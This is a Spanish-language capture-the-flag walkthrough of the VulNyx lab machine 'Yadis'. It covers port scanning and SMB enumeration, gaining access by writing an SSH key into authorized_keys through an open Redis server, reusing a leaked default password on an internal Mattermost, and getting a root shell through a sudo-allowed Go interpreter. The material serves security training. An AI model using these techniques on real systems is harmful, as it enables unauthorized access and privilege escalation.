Yadis es una máquina fácil de la plataforma de VulNyx. El principio de la máquina se basa en “La enumeración es la clave”.

  • Temas a tratar: Enumeración, Local Port Forwarding, Go, Redis.
  • OS: Linux.
  • IP victima: 192.168.166.133

Enumeración

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
sudo nmap -p- 192.168.166.133 -sSVC -T5 -Pn    
Starting Nmap 7.97 ( https://nmap.org ) at 2025-08-07 22:15 -0600
Nmap scan report for yadis.nyx (192.168.166.133)
Host is up (0.00074s latency).
Not shown: 65529 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
| 256 f1:ac:cb:98:a9:bc:4a:98:32:3d:c5:56:da:5b:7f:90 (ECDSA)
|_ 256 f9:52:9c:f6:67:55:fa:8d:75:ac:29:dc:78:7b:9e:11 (ED25519)
80/tcp open http Apache httpd 2.4.62
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Index - abNyxSoft
139/tcp open netbios-ssn Samba smbd 4
445/tcp open netbios-ssn Samba smbd 4
6379/tcp open redis Redis key-value store 7.0.15
8443/tcp open https-alt?
MAC Address: 00:0C:29:CA:A9:E8 (VMware)
Service Info: Host: _; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_nbstat: NetBIOS name: FILESERVER, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-time:
| date: 2025-08-07T22:16:22
|_ start_date: N/A
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
|_clock-skew: -6h00m00s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.33 seconds

Samba

1
2
3
4
5
6
7
smbclient -NL //192.168.166.133/
Can't load /etc/samba/smb.conf - run testparm to debug it

Sharename Type Comment
--------- ---- -------
announcements Disk Announcements
IPC$ IPC IPC Service (File Server)
1
2
3
4
5
6
7
8
9
10
11
12
13
smbclient -N //192.168.166.133/announcements
Can't load /etc/samba/smb.conf - run testparm to debug it
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Aug 7 21:32:23 2025
.. D 0 Wed Aug 6 14:05:45 2025
Phishing_Awareness_Training.pdf N 28154 Wed Aug 6 18:46:07 2025
Security_Incident_Response.pdf N 26915 Thu Aug 7 21:32:23 2025
Holiday_Schedule_2025.pdf N 25231 Wed Aug 6 18:45:55 2025
WiFi_Password_Change_Notice.pdf N 25724 Wed Aug 6 18:46:39 2025

39987708 blocks of size 1024. 33290580 blocks available
smb: \>

Dentro de uno de los documentos encontramos un correo y una contraseña, también hacen mención a un chat interno.

Puerto 80/TCP (HTTP)

De este sitio solo hay nombres de usuario como información relevante y uno de ellos concuerda con el que venia en uno de los documentos:

Podemos suponer que los usuarios tienen lo correos de la siguiente manera:

Compromiso inicial via Redis 6379/TCP

Version de Redis no vulnerable pero existen otros métodos para tener acceso a la maquina, uno de ellos es por medio de SSH, si este servicio se encuentra con configuraciones no seguras Redis SSH

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Se crea el id_rsa
ssh-keygen -t rsa

# Obtenemos el id_rsa en un archivo de texto
(echo -e "\n\n"; cat ./id_rsa.pub; echo -e "\n\n") > spaced_key.txt

# Seguimos los pasos para subir el id_rsa
cat spaced_key.txt | redis-cli -h 192.168.166.133 -x set ssh_key

192.168.166.133:6379> config set dir /var/lib/redis/.ssh
OK
192.168.166.133:6379> config set dbfilename "authorized_keys"
OK
192.168.166.133:6379> save
OK
192.168.166.133:6379> exit
OK

Mattermost

Dentro de la maquina encontramos información interesante en los puertos internos:

Si realizamos un curl en el puerto 8065 obtenemos un sitio web:

Si realizamos un local port forwarding con ssh para poder acceder obtenemos lo siguiente:

1
ssh -L 8065:localhost:8065 -i id_rsa redis@192.168.166.133

No permite crear usuarios dentro de la plataforma.

Anteriormente creamos una lista de posibles usuarios, así que intentemos si uno de estos permite acceder a la plataforma con la contraseña por defecto que se menciona en el documento.

Credencial en el documento: 4bNyx5oft12E!

Accedimos bajo el usuario rodney.gleason@yadis.nyx. En el chat llamado Development, encontramos una contraseña, que si miramos la conversación del chat es del usuario developer de la maquina.

Privilege Scalation

Encontramos que este usuario tiene privilegios de ejecutar un binario llamado yaegi:

Investigando Yaegi, es un interprete de go, esto significa que es posible ejecutar una bash como root.
Investigando el como realizar esto encontramos el siguiente articulo Executing System Commands in Go:

No esta permitiendo importar una librería, así que tendremos que buscar otro método.
Revisando la documentación de Go, encontramos la siguiente librería “os”.

Esta librería permite realizar operaciones del sistema, como por ejemplo ejecutar una /bin/bash por medio de la función StartProcess:

1
2
3
4
5
6
7
package main
import "os"
func main() {
attr := &os.ProcAttr{Files: []*os.File{os.Stdin, os.Stdout, os.Stderr}}
proc, _ := os.StartProcess("/bin/bash", []string{"/bin/bash"}, attr)
proc.Wait()
}